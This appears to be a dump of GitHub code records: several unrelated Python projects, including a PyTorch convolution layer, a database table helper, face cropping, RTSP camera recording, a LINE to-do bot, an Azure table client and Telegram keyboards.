nn.GLU(dim=dim)\n elif activation == 'sigmoid':\n return nn.Sigmoid()\n elif activation == 'modrelu':\n return Modrelu(size)\n elif activation == 'sqrelu':\n return SquaredReLU()\n elif activation == 'ln':\n return TransposedLN(dim)\n else:\n raise NotImplementedError(\n \"hidden activation '{}' is not implemented\".format(activation))\n\n\ndef LinearActivation(\n d_input, d_output, bias=True,\n zero_bias_init=False,\n transposed=False,\n initializer=None,\n activation=None,\n activate=False, # Apply activation as part of this module\n weight_norm=False,\n **kwargs,\n):\n \"\"\" Returns a linear nn.Module with control over axes order, initialization, and activation \"\"\"\n\n # Construct core module\n # linear_cls = partial(nn.Conv1d, kernel_size=1) if transposed else nn.Linear\n linear_cls = TransposedLinear if transposed else nn.Linear\n if activation == 'glu':\n d_output *= 2\n linear = linear_cls(d_input, d_output, bias=bias, **kwargs)\n\n # Initialize weight\n if initializer is not None:\n get_initializer(initializer, activation)(linear.weight)\n\n # Initialize bias\n if bias and zero_bias_init:\n nn.init.zeros_(linear.bias)\n\n # Weight norm\n if weight_norm:\n linear = nn.utils.weight_norm(linear)\n\n if activate and activation is not None:\n activation = Activation(activation, d_output,\n dim=1 if transposed else -1)\n linear = nn.Sequential(linear, activation)\n return linear\n\n\nclass Normalization(nn.Module):\n def __init__(\n self,\n d,\n transposed=False, # Length dimension is -1 or -2\n _name_='layer',\n **kwargs\n ):\n super().__init__()\n self.transposed = transposed\n self._name_ = _name_\n\n if _name_ == 'layer':\n self.channel = True # Normalize over channel dimension\n if self.transposed:\n self.norm = TransposedLN(d, **kwargs)\n else:\n self.norm = nn.LayerNorm(d, **kwargs)\n elif _name_ == 'instance':\n self.channel = False\n norm_args = {'affine': False, 'track_running_stats': False}\n norm_args.update(kwargs)\n self.norm = nn.InstanceNorm1d(d, **norm_args) # (True, True) performs very poorly\n elif _name_ == 'batch':\n self.channel = False\n norm_args = {'affine': True, 'track_running_stats': True}\n norm_args.update(kwargs)\n self.norm = nn.BatchNorm1d(d, **norm_args)\n elif _name_ == 'group':\n self.channel = False\n self.norm = nn.GroupNorm(1, d, *kwargs)\n elif _name_ == 'none':\n self.channel = True\n self.norm = nn.Identity()\n else: raise NotImplementedError\n\n def forward(self, x):\n # Handle higher dimension logic\n shape = x.shape\n if self.transposed:\n x = rearrange(x, 'b d ... -> b d (...)')\n else:\n x = rearrange(x, 'b ... d -> b (...)d ')\n\n # The cases of LayerNorm / no normalization are automatically handled in all cases\n # Instance/Batch Norm work automatically with transposed axes\n if self.channel or self.transposed:\n x = self.norm(x)\n else:\n x = x.transpose(-1, -2)\n x = self.norm(x)\n x = x.transpose(-1, -2)\n\n x = x.view(shape)\n return x\n\n def step(self, x, **kwargs):\n assert self._name_ in [\"layer\", \"none\"]\n if self.transposed: x = x.unsqueeze(-1)\n x = self.forward(x)\n if self.transposed: x = x.squeeze(-1)\n return x\n\n\nclass GConv(nn.Module):\n requires_length = True\n\n def __init__(\n self,\n d_model,\n d_state=64,\n l_max=1, # Maximum length of sequence. Fine if not provided: the kernel will keep doubling in length until longer than sequence. However, this can be marginally slower if the true length is not a power of 2\n channels=1, # maps 1-dim to C-dim\n bidirectional=False,\n # Arguments for FF\n activation='gelu', # activation in between SS and FF\n ln=False, # Extra normalization\n postact=None, # activation after FF\n initializer=None, # initializer on FF\n weight_norm=False, # weight normalization on FF\n hyper_act=None, # Use a \"hypernetwork\" multiplication\n dropout=0.0,\n transposed=True, # axis ordering (B, L, D) or (B, D, L)\n verbose=False,\n shift=False,\n linear=False,\n mode=\"cat_randn\",\n # SSM Kernel arguments\n **kernel_args,\n ):\n \"\"\"\n d_state: the dimension of the state, also denoted by N\n l_max: the maximum sequence length, also denoted by L\n if this is not known at model creation, set l_max=1\n channels: can be interpreted as a number of \"heads\"\n bidirectional: bidirectional\n dropout: standard dropout argument\n transposed: choose backbone axis ordering of (B, L, H) or (B, H, L) [B=batch size, L=sequence length, H=hidden dimension]\n\n Other options are all experimental and should not need to be configured\n \"\"\"\n\n super().__init__()\n self.h = d_model\n self.n = d_state\n self.bidirectional = bidirectional\n self.ln = ln\n self.channels = channels\n self.transposed = transposed\n self.shift = shift\n self.linear = linear\n self.mode = mode\n self.l_max = l_max\n\n # optional multiplicative modulation GLU-style\n # https://arxiv.org/abs/2002.05202\n self.hyper = hyper_act is not None\n if self.hyper:\n channels *= 2\n self.hyper_activation = Activation(hyper_act)\n\n self.D = nn.Parameter(torch.randn(channels, self.h))\n\n if self.bidirectional:\n channels *= 2\n\n # Pointwise\n if not self.linear:\n self.activation = Activation(activation)\n dropout_fn = nn.Dropout2d if self.transposed else nn.Dropout\n self.dropout = dropout_fn(\n dropout) if dropout > 0.0 else nn.Identity()\n if self.ln:\n self.norm = Normalization(\n self.h*self.channels, transposed=transposed)\n else:\n self.norm = nn.Identity()\n\n # position-wise output transform to mix features\n if not self.linear:\n self.output_linear = LinearActivation(\n self.h*self.channels,\n self.h,\n transposed=self.transposed,\n initializer=initializer,\n activation=postact,\n activate=True,\n weight_norm=weight_norm,\n )\n\n self.init_scale = kernel_args.get('init_scale', 0)\n self.kernel_dim = kernel_args.get('kernel_dim', 64)\n self.num_scales = kernel_args.get(\n 'n_scales', 1+math.ceil(math.log2(l_max/self.kernel_dim))-self.init_scale)\n if self.num_scales is None:\n self.num_scales = 1 + \\\n math.ceil(math.log2(l_max/self.kernel_dim)) - self.init_scale\n self.kernel_list = nn.ParameterList()\n\n decay_min = kernel_args.get('decay_min', 2)\n decay_max = kernel_args.get('decay_max', 2)\n\n for _ in range(self.num_scales):\n if 'randn' in mode:\n kernel = nn.Parameter(torch.randn(\n channels, self.h, self.kernel_dim))\n elif 'cos' in mode:\n kernel = nn.Parameter(torch.cat([torch.cos(torch.linspace(0, 2*i*math.pi, self.kernel_dim)).expand(\n channels, 1, self.kernel_dim) for i in range(self.h)], dim=1)[:, torch.randperm(self.h), :])\n else:\n raise ValueError(f\"Unknown mode {mode}\")\n kernel._optim = {\n 'lr': kernel_args.get('lr', 0.001),\n }\n self.kernel_list.append(kernel)\n\n if 'learnable' in mode:\n self.decay = nn.Parameter(torch.rand(\n self.h) * (decay_max - decay_min) + decay_min)\n if 'fixed' in mode:\n self.decay.requires_grad = False\n else:\n self.decay._optim = {\n 'lr': kernel_args.get('lr', 0.001),\n }\n self.register_buffer('multiplier', torch.tensor(1.0))\n else:\n self.register_buffer('multiplier', torch.linspace(\n decay_min, decay_max, self.h).view(1, -1, 1))\n\n self.register_buffer('kernel_norm', torch.ones(channels, self.h, 1))\n self.register_buffer('kernel_norm_initialized',\n torch.tensor(0, dtype=torch.bool))\n\n # absorbs return_output and transformer src mask\n def forward(self, u, return_kernel=False):\n \"\"\"\n u: (B H L) if self.transposed else (B L H)\n state: (H N) never needed unless you know what you're doing\n\n Returns: same shape as u\n \"\"\"\n if not self.transposed:\n u = u.transpose(-1, -2)\n L = u.size(-1)\n\n kernel_list = []\n interpolate_mode = 'nearest' if 'nearest' in self.mode else 'linear'\n multiplier = self.multiplier\n if 'sum' in self.mode:\n for i in range(self.num_scales):\n kernel = F.pad(\n F.interpolate(\n self.kernel_list[i],\n scale_factor=2**(i+self.init_scale),\n mode=interpolate_mode,\n ),\n (0, self.kernel_dim*2**(self.num_scales-1+self.init_scale) -\n self.kernel_dim*2**(i+self.init_scale)),\n ) * multiplier ** (self.num_scales - i - 1)\n kernel_list.append(kernel)\n k = sum(kernel_list)\n elif 'cat' in self.mode:\n for i in range(self.num_scales):\n kernel = F.interpolate(\n self.kernel_list[i],\n scale_factor=2**(max(0, i-1)+self.init_scale),\n mode=interpolate_mode,\n ) * multiplier ** (self.num_scales - i - 1)\n kernel_list.append(kernel)\n k = torch.cat(kernel_list, dim=-1)\n else:\n raise ValueError(f\"Unknown mode {self.mode}\")\n\n if 'learnable' in self.mode:\n k = k * torch.exp(-self.decay.view(1, -1, 1)*torch.log(\n torch.arange(k.size(-1), device=k.device)+1).view(1, 1, -1))\n\n if not self.kernel_norm_initialized:\n self.kernel_norm = k.norm(dim=-1, keepdim=True).detach()\n self.kernel_norm_initialized = torch.tensor(\n 1, dtype=torch.bool, device=k.device)\n print(f\"Kernel norm: {self.kernel_norm.mean()}\")\n print(f\"Kernel size: {k.size()}\")\n\n if k.size(-1) > L:\n k = k[..., :L]\n elif k.size(-1) < L:\n k = F.pad(k, (0, L - k.size(-1)))\n\n k = k / self.kernel_norm # * (L / self.l_max) ** 0.5\n\n # Convolution\n if self.bidirectional:\n k0, k1 = rearrange(k, '(s c) h l -> s c h l', s=2)\n k = F.pad(k0, (0, L)) \\\n + F.pad(k1.flip(-1), (L, 0)) \\\n\n k_f = torch.fft.rfft(k, n=2*L) # (C H L)\n u_f = torch.fft.rfft(u, n=2*L) # (B H L)\n # k_f.unsqueeze(-4) * u_f.unsqueeze(-3) # (B C H L)\n y_f = contract('bhl,chl->bchl', u_f, k_f)\n y = torch.fft.irfft(y_f, n=2*L)[..., :L] # (B C H L)\n\n # Compute D term in state space equation - essentially a skip connection\n y = y + contract('bhl,ch->bchl', u, self.D)\n\n # Reshape to flatten channels\n y = rearrange(y, '... c h l -> ... (c h) l')\n\n if not self.linear:\n y = self.dropout(self.activation(y))\n\n if not self.transposed:\n y = y.transpose(-1, -2)\n\n if not self.linear:\n y = self.norm(y)\n y = self.output_linear(y)\n\n if return_kernel:\n return y, k\n return y, None\n\n @property\n def d_state(self):\n return self.h * self.n\n\n @property\n def d_output(self):\n return self.h\n\n @property\n def state_to_tensor(self):\n return lambda state: rearrange('... h n -> ... (h n)', state)\n","repo_name":"ctlllll/SGConv","sub_path":"gconv_standalone.py","file_name":"gconv_standalone.py","file_ext":"py","file_size_in_byte":17149,"program_lang":"python","lang":"en","doc_type":"code","stars":147,"dataset":"github-code","pt":"82"} +{"seq_id":"11338510985","text":"import sqlalchemy\nimport datetime\n\nCOLS_IGNORE_LIST = [\"_sa_instance_state\"]\nFORMAT = \"%d.%m.%Y %H:%M\"\n\nclass DataTable():\n \n def __init__(self, data, db, dbClass, searchHelperClass, truncateUid=False, formatTime=True):\n\n self.db = db\n self.draw = int(data[\"draw\"])\n self.start = int(data[\"start\"])\n self.length = int(data[\"length\"])\n self.trueLength = -1\n self.dbClass = dbClass\n self.searchHelperClass = searchHelperClass\n self.orderByCol = int(data[\"order[0][column]\"])\n self.searchValue = data[\"search[value]\"]\n self.searchIsRegex = data[\"search[regex]\"]\n self.orderDirection = data[\"order[0][dir]\"]\n self.formatTime = formatTime\n\n self.truncateUid = truncateUid\n\n self.cols = DataTable.staticGetCols(dbClass)\n\n # order variable for use with python sorted etc #\n self.orderAsc = self.orderDirection == \"asc\"\n\n # oder variable for use with sqlalchemy\n if self.orderAsc:\n self.orderAscDbClass = sqlalchemy.asc\n else:\n self.orderAscDbClass = sqlalchemy.desc\n\n def staticGetCols(dbClass):\n cols = list(dbClass.__table__.columns.keys())\n return list(filter(lambda c: c not in COLS_IGNORE_LIST, cols))\n\n def __build(self, results, total, filtered):\n\n self.cacheResults = results\n \n count = 0\n resultDicts = [ r.__dict__ for r in results ]\n\n # data list must have the correct order (same as table scheme) #\n rows = []\n for r in resultDicts:\n singleRow = []\n for key in self.cols:\n if key == \"uid\" and self.truncateUid:\n singleRow.append(r[key][:8])\n elif key == \"timestamp\" and self.formatTime:\n parsed = datetime.datetime.fromtimestamp(float(r[key]))\n singleRow.append(parsed.strftime(FORMAT))\n else:\n singleRow.append(r[key])\n rows.append(singleRow)\n\n d = dict()\n d.update({ \"draw\" : self.draw })\n d.update({ \"recordsTotal\" : total })\n d.update({ \"recordsFiltered\" : filtered })\n d.update({ \"data\" : rows })\n\n return d\n\n def get(self):\n\n filtered = 0\n total = 0\n\n if self.searchValue:\n\n # base query\n query = self.db.session.query(self.searchHelperClass.uid)\n total = query.count()\n\n # search string (search for all substrings individually #\n filterQuery = query\n for substr in self.searchValue.split(\" \"):\n searchSubstr = \"%{}%\".format(substr.strip())\n filterQuery = filterQuery.filter(\n self.searchHelperClass.fullstring.like(searchSubstr))\n\n # uidList = filterQuery.all()\n filtered = filterQuery.count()\n\n # get relevant pIds from searchHelper #\n uidList = filterQuery.offset(self.start).limit(self.length).all()\n\n # use pIds to retrive full information #\n results = []\n for uidTup in uidList:\n uid = uidTup[0]\n singleResult = self.db.session.query(self.dbClass).filter(\n self.dbClass.uid == uid).first()\n if singleResult:\n results.append(singleResult)\n \n col = self.dbClass.__table__.c[self.orderByCol]\n results = sorted(results, \n key=lambda row: self.getColByNumber(row, self.orderByCol), \n reverse=not self.orderAsc)\n else:\n\n query = self.db.session.query(self.dbClass)\n if self.orderByCol:\n query = query.order_by(self.orderAscDbClass(\n list(self.dbClass.__table__.c)[self.orderByCol]))\n else:\n query = query.order_by(self.orderAscDbClass(\n list(self.dbClass.__table__.c)[0]))\n\n results = query.offset(self.start).limit(self.length).all()\n total = query.count()\n filtered = total\n\n return self.__build(results, total, filtered)\n\n def getColByNumber(self, dbClass, nr):\n nr = int(nr)\n value = getattr(dbClass, self.cols[nr])\n return value\n","repo_name":"FAUSheppy/simple-log-server","sub_path":"datatable.py","file_name":"datatable.py","file_ext":"py","file_size_in_byte":4512,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"37051680296","text":"import cv2, sys, numpy, os\nfrom time import sleep\nsub_data,y=raw_input(\"user img\").split()\nhaar_file = 'haarcascade_frontalface_default.xml'\ndatasets = 'datasets' #All the faces data will be present this folder\n\npath = os.path.join(datasets, sub_data)\nif not os.path.isdir(path):\n os.mkdir(path)\n(width, height) = (130, 100)\n\nDIR = 'datasets/'+sub_data+'/'\ncount = len([name for name in os.listdir(DIR) if os.path.isfile(os.path.join(DIR, name))])\n\n\nface_cascade = cv2.CascadeClassifier(haar_file)\n\nim = cv2.imread(y)\ngray = cv2.cvtColor(im, cv2.COLOR_BGR2GRAY)\nfaces = face_cascade.detectMultiScale(gray, 1.3, 4)\nfor (x,y,w,h) in faces:\n cv2.rectangle(im,(x,y),(x+w,y+h),(255,0,0),2)\n face = gray[y:y + h, x:x + w]\n face_resize = cv2.resize(face, (width, height))\n cv2.imwrite('%s/%s.png' % (path,count), face_resize)","repo_name":"mrsid96/Natasha","sub_path":"main/indTrain.py","file_name":"indTrain.py","file_ext":"py","file_size_in_byte":834,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"82"} +{"seq_id":"24083034279","text":"import os\nimport cv2\nimport json\nimport atexit\nimport numpy as np\nfrom time import time\nfrom src.cameraconnector import CameraConnector\nfrom src.videowriter import VideoWriter\nfrom src.writercontroller import VideoWriterController\n\n\nSINGLE_WRITING_DURATION = 30\n\nFPS = 20 \nDOWNSLACE_FACTOR = 2\nRESOLUTION = (2*1280//DOWNSLACE_FACTOR, 720//DOWNSLACE_FACTOR) \n\nDIR_TO_SAVE = os.path.join(os.getcwd(), 'data_to_save')\n\nwith open('connect_data.json', 'r') as connection_file:\n connection_data = json.load(connection_file)\n\ncamera1 = CameraConnector()\ncamera2 = CameraConnector()\n\n\nwriter_controller = VideoWriterController(SINGLE_WRITING_DURATION, DIR_TO_SAVE, FPS, RESOLUTION)\n\n\n@atexit.register\ndef close():\n camera1.close_capture()\n camera2.close_capture()\n writer_controller.close_writer()\n cv2.destroyAllWindows()\n\n\ncamera1.init_capture(\n connection_data['username'],\n connection_data['password'],\n connection_data['cam1_ip'],\n connection_data['rtsp_port'],\n fps=FPS\n)\ncamera2.init_capture(\n connection_data['username'],\n connection_data['password'],\n connection_data['cam2_ip'],\n connection_data['rtsp_port'],\n fps=FPS\n)\nwriter_controller.init_writer()\n\nwhile True:\n frame1 = camera1.get_frame()\n frame2 = camera2.get_frame()\n\n result = np.hstack([frame1, frame2])\n result = cv2.resize(result, RESOLUTION)\n\n writer_controller.write_frame(result)\n if writer_controller.writing_time_is_end():\n writer_controller.reload_writer()\n \nclose()\n","repo_name":"tolstoy92/cameras_writing","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1515,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"40915824858","text":"from linebot import (LineBotApi, WebhookHandler)\nfrom linebot.exceptions import (InvalidSignatureError)\nfrom linebot.models import *\n#TodoDict = 主程式传来的dict\n\ndef Help_template():\n message = TemplateSendMessage(\n alt_text='一则旋转木马按钮讯息',\n template=CarouselTemplate(\n columns=[\n CarouselColumn(\n thumbnail_image_url='https://upload.wikimedia.org/wikipedia/commons/thumb/7/78/Formules.JPG/640px-Formules.JPG',\n title='待办',\n text='按下想知道的内容',\n actions=[\n MessageTemplateAction(\n label='如何新增待办?',\n text='Ans => 请输入 : 新增(月日)(内容) \\nEx: 新增0522今天要去倒垃圾\")'\n ),\n MessageTemplateAction(\n label='如何显示待办?',\n text='Ans => 请输入:显示(月日) \\nEx:显示0522\"'\n ),\n MessageTemplateAction(\n label='如何删除待办?',\n text='Ans => 请输入 :删除(月日)第(数字)个待办 \\nEx: 删除0526第5个待办'\n )\n ]\n ),\n CarouselColumn(\n thumbnail_image_url='https://imgs.gvm.com.tw/upload/gallery/20190911/68199010.jpg',\n title='高科大网址',\n text='按下以下标题可以进入该网址',\n actions=[\n URITemplateAction(\n label='高科大首页',\n uri='https://www.nkust.edu.tw/'\n ),\n URITemplateAction(\n label='高科大教学平台',\n uri='https://elearning.nkust.edu.tw/mooc/index.php'\n ),\n URITemplateAction(\n label='高科大资工系',\n uri='http://www.csie.nkust.edu.tw/'\n )\n ]\n )\n ]\n )\n )\n return message\n# 如何新增待办? Ans:请输入 新增(年月日)(内容) Ex: 新增0522今天要去倒垃圾\ndef IncreaseTodo(MonthDay,Content,TodoDict) : #(月日,内容,待办表)\n\n # 侦测是否为整数\n if MonthDay.isdigit() :\n # 是否为4位数\n if len(MonthDay)!=4 :\n message = TextSendMessage(text=\"日期必须为四码,详细请打Help。\")\n return message\n\n # 不是整数 break\n else:\n message = TextSendMessage(text=\"日期必须为整数,详细请打Help。\")\n return message\n\n # 检查内容数\n if len(Content) == 0:\n message = TextSendMessage(text=\"请输入待办内容,详细请打Help。\")\n return message\n\n # 执行新增\n Month = MonthDay[0:2]\n Day = MonthDay[2:4]\n TodoDict.setdefault(MonthDay,[])\n TodoDict[MonthDay].append(Content)#把月日设为KEY值,把内容丢到后面的list。 <==新增成功\n message = TextSendMessage(text=Month+\"月\"+Day+\"日待办新增成功\") \n\n return message\n# 如何删除待办? Ans:请输入 删除月日第(数字)个待办 Ex: 删除0522第5个待办\ndef DeleteTodo(Monthday,num,TodoDict) : #(月日,第几个,待办表)\n # 执行删除\n num=int(num) # 将第几个转换成数字\n numLocal=num-1\n del TodoDict[Monthday][numLocal]\n message = TextSendMessage(text=\"删除第\"+str(num)+\"项成功\")\n\n return message\n# 如何显示待办? Ans:请输入 显示(月日)\ndef ShowTodo(MonthDay,TodoDict) : #(月日,待办表)\n \n # 侦测本日有没有待办内容\n if len(TodoDict[MonthDay])==0:\n try:\n del TodoDict[MonthDay]\n if MonthDay[0]==0:\n message = TextSendMessage(text=Month+\"月\"+ Day +\"日没有待办\")\n except KeyError:\n message = TextSendMessage(\"本日没有待办\")\n \n # 显示\n Str=\"\"\n Month = MonthDay[0:2]\n Day = MonthDay[2:4]\n Count = 0\n for k in TodoDict[MonthDay]:\n Count += 1\n Str += Month+\"月\"+ Day +\"日 第%d项待办:\"%Count+str(k)+\"\\n\"\n message = TextSendMessage(text=Str)\n return message\n\n","repo_name":"NightCat10759/nightcat-Linebot","sub_path":"Method.py","file_name":"Method.py","file_ext":"py","file_size_in_byte":4451,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"43762988192","text":"from Bio import SeqIO\n\n# Open the FASTA file\nwith open('/path/to/file.fasta', 'r') as f:\n # Iterate over the sequences in the FASTA file\n for record in SeqIO.parse(f, \"fasta\"):\n # Remove the end-of-line characters from the sequence\n sequence = str(record.seq).replace('\\n','')\n # Print the sequence\n print(sequence)\n","repo_name":"Piergiorge/Biology","sub_path":"Sequence/single_line_fasta.py","file_name":"single_line_fasta.py","file_ext":"py","file_size_in_byte":350,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"73659786827","text":"from numpy import array\nimport numpy as np\nfrom numpy import array\nfrom pickle import dump, load\nfrom tensorflow.keras.preprocessing.text import Tokenizer\nfrom tensorflow.keras.utils import to_categorical\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.layers import Dense\nfrom tensorflow.keras.layers import LSTM\nfrom tensorflow.keras.layers import Embedding\nfrom tensorflow.keras.preprocessing.sequence import pad_sequences\nimport json\n\n### Model 3 - Full box score to text model. Input in form of lists of stats. Text tagged with generic values for names and stats with index. ###\n\nwith open('tagged_summaries_noname_dicts.txt','r') as fr:\n\tlines =json.load(fr)\n\n\nsequences = []\nfor sent in lines:\n max_len = 15 + 1\n cur_len = len(sent)-5\n stats_list = []\n\n for stat in sent[-5:]: #for each stat (pts, ast, reb, firstname, lastname)\n stats_list+=stat #append together\n\n for last_index in range(cur_len): ##create sequences\n words = [\"*empty*\"]*(max_len)\n offset = max(last_index-max_len+1,0) #calc offset\n for i in range(min(last_index,max_len)):\n words[i]=sent[i+offset].lower() #fill in words\n words[max_len-1]=sent[min(last_index,max_len+offset-1)].lower() #set target word\n seq = stats_list+words #add stats list\n sequences.append(seq)\n\n\n# integer encode sequences of words\ntokenizer = Tokenizer()\ntokenizer.fit_on_texts(sequences)\nsequences = tokenizer.texts_to_sequences(sequences)\n\n# vocabulary size\nvocab_size = len(tokenizer.word_index) + 1\nprint(vocab_size)\n\n\nsequences = array(sequences)\nX, y = sequences[:,:-1], sequences[:,-1]\ny = to_categorical(y, num_classes=vocab_size)\nseq_length = X.shape[1]\n\nprint(seq_length)\n\n# define model\nmodel = Sequential()\nmodel.add(Embedding(vocab_size, seq_length, input_length=seq_length))\nmodel.add(LSTM(100, return_sequences=True))\nmodel.add(LSTM(100))\nmodel.add(Dense(100, activation='relu'))\nmodel.add(Dense(vocab_size, activation='softmax'))\nprint(model.summary())\n\n# compile model\nmodel.compile(loss='categorical_crossentropy', optimizer='adam', metrics=['accuracy'])\n# fit model\nmodel.fit(X, y, batch_size=256, epochs=50)\n\n# save model\nmodel.save('datafullmodel.h5')\ndump(tokenizer, open('datatokenizer.pkl', 'wb'))\n","repo_name":"olmoody/boxscore-nlg","sub_path":"rotowire/model_3/main3.py","file_name":"main3.py","file_ext":"py","file_size_in_byte":2269,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"16498920814","text":"from azure.core.pipeline import Pipeline\nfrom azure.data.tables import TableClient, TableServiceClient\nfrom azure.data.tables._base_client import TransportWrapper\nfrom typing import Any\n\n\nclass Client(TableClient):\n __partition_key__: str\n \n def __init__(self, endpoint: str, table_name: str, **kwargs: Any) -> None:\n self.__partition_key__ = kwargs.pop(\"partition_key\", None)\n super().__init__(endpoint, table_name, **kwargs)\n \n @classmethod\n def from_service_client(\n cls, service_client: TableServiceClient, table_name: str, **kwargs\n ):\n pipeline = Pipeline( # type: ignore\n transport=TransportWrapper(\n service_client._client._client._pipeline._transport\n ), # pylint: disable = protected-access\n policies=service_client._policies,\n )\n return cls(\n service_client.url,\n table_name=table_name,\n credential=service_client.credential,\n api_version=service_client.api_version,\n pipeline=pipeline,\n location_mode=service_client._location_mode,\n _hosts=service_client._hosts,\n **kwargs\n )\n\n def __call__(self, row_key: str, partition_key: str = None, **kwargs):\n if not partition_key and hasattr(self, \"__partition_key__\"):\n partition_key = self.__partition_key__\n return self.get_entity(partition_key=partition_key, row_key=row_key, **kwargs)\n","repo_name":"Eclatech-LLC/azfunc-pyapi","sub_path":"libs/data/key_value/table/azure_table.py","file_name":"azure_table.py","file_ext":"py","file_size_in_byte":1479,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"82"} +{"seq_id":"70727499470","text":"from aiogram.types import InlineKeyboardButton, InlineKeyboardMarkup\nfrom aiogram import types\nfrom aiogram.utils.keyboard import InlineKeyboardBuilder\n\ndef get_keyboard_for_map():\n buttons = [\n [InlineKeyboardButton(text='de_dust2', callback_data='de_dust2')],\n [InlineKeyboardButton(text='de_nuke', callback_data='de_nuke')],\n [InlineKeyboardButton(text='de_vertigo', callback_data='de_vertigo')],\n [InlineKeyboardButton(text='de_ancient', callback_data='de_ancient')],\n [InlineKeyboardButton(text='de_anubis', callback_data='de_anubis')],\n [InlineKeyboardButton(text='de_mirage', callback_data='de_mirage')],\n [InlineKeyboardButton(text='de_cache', callback_data='de_cache')],\n [InlineKeyboardButton(text='de_train', callback_data='de_train')],\n [InlineKeyboardButton(text='de_inferno', callback_data='de_inferno')],\n [InlineKeyboardButton(text='de_overpass', callback_data='de_overpass')]\n ]\n\n keyboard_map = InlineKeyboardMarkup(inline_keyboard=buttons)\n return keyboard_map\n\ndef cancel_keyboard():\n button = [\n [InlineKeyboardButton(text='cancel', callback_data='cancel')]\n ]\n keyboard_map = InlineKeyboardMarkup(inline_keyboard=button)\n return keyboard_map\n\ndef yes_or_no_keyboard():\n buttons =[\n [InlineKeyboardButton(text='Так', callback_data='ch_Yes')],\n [InlineKeyboardButton(text='Ні', callback_data='ch_No')]\n ]\n keyboard_map = InlineKeyboardMarkup(inline_keyboard=buttons)\n return keyboard_map\n\ndef weapon_keyboard():\n buttons = [\n [InlineKeyboardButton(text='AK-47', callback_data='wp_AK')],\n [InlineKeyboardButton(text='AUG', callback_data='wp_AUG')],\n [InlineKeyboardButton(text='AWP', callback_data='wp_AWP')],\n [InlineKeyboardButton(text='bizon', callback_data='wp_bizon')],\n [InlineKeyboardButton(text='deagle', callback_data='wp_deagle')],\n [InlineKeyboardButton(text='dualberettas', callback_data='wp_dualberettas')],\n [InlineKeyboardButton(text='famas', callback_data='wp_famas')],\n [InlineKeyboardButton(text='fiveseven', callback_data='wp_fiveseven')],\n [InlineKeyboardButton(text='G3SG1', callback_data='wp_G3SG1')],\n [InlineKeyboardButton(text='galil', callback_data='wp_galil')],\n [InlineKeyboardButton(text='glock', callback_data='wp_glock')],\n [InlineKeyboardButton(text='P2000', callback_data='wp_P2000')],\n [InlineKeyboardButton(text='M249', callback_data='wp_M249')],\n [InlineKeyboardButton(text='m4a4', callback_data='wp_m4a4')],\n [InlineKeyboardButton(text='MAC-10', callback_data='wp_MAC-10')],\n [InlineKeyboardButton(text='MAG-7', callback_data='wp_MAG-7')],\n [InlineKeyboardButton(text='MP7', callback_data='wp_MP7')],\n [InlineKeyboardButton(text='MP9', callback_data='wp_MP9')],\n [InlineKeyboardButton(text='Negev', callback_data='wp_Negev')],\n [InlineKeyboardButton(text='Nova', callback_data='wp_Nova')],\n [InlineKeyboardButton(text='P250', callback_data='wp_P250')],\n [InlineKeyboardButton(text='P90', callback_data='wp_P90')],\n [InlineKeyboardButton(text='Sawedoff', callback_data='wp_Sawedoff')],\n [InlineKeyboardButton(text='Scar-20', callback_data='wp_Scar-20')],\n [InlineKeyboardButton(text='SG553', callback_data='wp_SG553')],\n [InlineKeyboardButton(text='SSG08', callback_data='wp_SSG08')],\n [InlineKeyboardButton(text='Zeusx27', callback_data='wp_Zeusx27')],\n [InlineKeyboardButton(text='Tec-9', callback_data='wp_Tec-9')],\n [InlineKeyboardButton(text='ump-45', callback_data='wp_ump-45')],\n [InlineKeyboardButton(text='xm1014', callback_data='wp_xm1014')]\n ]\n keyboard_map = InlineKeyboardMarkup(inline_keyboard=buttons)\n return keyboard_map\n\ndef map_keyboard(match_time):\n builder = InlineKeyboardBuilder()\n for keys, values in match_time.items():\n builder.button(text=f'{keys}', callback_data=f'mp_{values}')\n builder.adjust(2)\n return builder.as_markup()","repo_name":"k0st90/CSGO-TG_BOT","sub_path":"bot_app/keyboards/keyboards.py","file_name":"keyboards.py","file_ext":"py","file_size_in_byte":4081,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"38827133926","text":"N = int(input())\ndp = [0 for _ in range(N+1)]\nfor i in range(N):\n T, P = map(int, input().split())\n\n if i != 0 and dp[i] < dp[i-1]:\n dp[i] = dp[i-1]\n\n if i+T < N+1 and dp[i+T] < dp[i]+P:\n dp[i+T] = dp[i]+P\n\n\ndp[-1] = max(dp[-1], dp[-2])\n# print(dp)\nprint(dp[-1])\n\n# 00:42:48 미래의 값을 갱신해놓을 수 있다는 생각.\n# 3번째(답 보고)로 도전해서야 겨우 맞춘문제.\n# dp는 연습을 계속 더 하자.\n","repo_name":"steinjun0/CodingTest","sub_path":"review/DynamicProgramming/15486-2-DP-s1.py","file_name":"15486-2-DP-s1.py","file_ext":"py","file_size_in_byte":452,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"8763884918","text":"def backtrack(ind, limit, prev):\n global nums, answer, visit\n if ind == limit:\n tmp = tuple([nums[i] for i, v in enumerate(visit) if v])\n if tmp not in answer:\n print(*tmp)\n answer.add(tmp)\n return\n for i in range(prev + 1, len(nums)):\n if visit[i]: continue\n visit[i] = 1\n backtrack(ind+1, limit, i)\n visit[i] = 0\n \n\ndef main():\n global nums, answer, visit\n N, M = map(int, input().split())\n nums = sorted(map(int, input().split()))\n answer = set()\n visit = [0 for _ in range(N)]\n backtrack(0, M, -1)\n\n\nif __name__==\"__main__\":\n main()\n\n","repo_name":"dongjuk157/coding_test","sub_path":"Baekjoon/Others/15664.py","file_name":"15664.py","file_ext":"py","file_size_in_byte":646,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} 